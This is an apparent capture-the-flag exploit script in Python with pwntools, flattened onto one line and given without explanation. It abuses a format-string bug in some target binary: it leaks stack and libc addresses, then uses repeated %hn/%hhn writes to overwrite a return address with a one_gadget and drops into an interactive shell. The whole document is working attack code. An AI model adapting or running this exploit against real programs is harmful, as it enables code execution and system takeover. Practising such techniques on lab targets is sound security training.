bss_offset = 0x4040 return_offset = 0x1250 libc_offset = 243 + libc.sym['__libc_start_main' ] io.recvuntil(b'Gift: ' ) leak_stack_addr = int (io.recv(4 ), 16 ) printf_ret = leak_stack_addr - 0xc target = leak_stack_addr - 0x4 payload = b'%p' *9 + '%{}c' .format (printf_ret - 90 ).encode() + b"%hn" + \ '%{}c' .format (0x10000 - printf_ret + 0x23 ).encode() + b"%39$hhn" io.send(payload) for _ in range (8 ): io.recvuntil(b'0x' ) libc_base = int (io.recv(12 ), 16 ) - libc_offset log.info("libc_base --> " +hex (libc_base)) one_gadget = libc_base + 0xe3b01 payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format (target - 0x23 ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format ((one_gadget & 0xffff ) - 0x23 ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format (target + 2 - 0x23 ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format (((one_gadget >> 16 ) & 0xffff ) - 0x23 ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format (target + 4 - 0x23 ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0x23 ).encode() + b"%39$hhn" + \ '%{}c' .format (((one_gadget >> 32 ) & 0xffff ) - 0x23 ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xc4 ).encode() + b"%39$hhn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) io.interactive()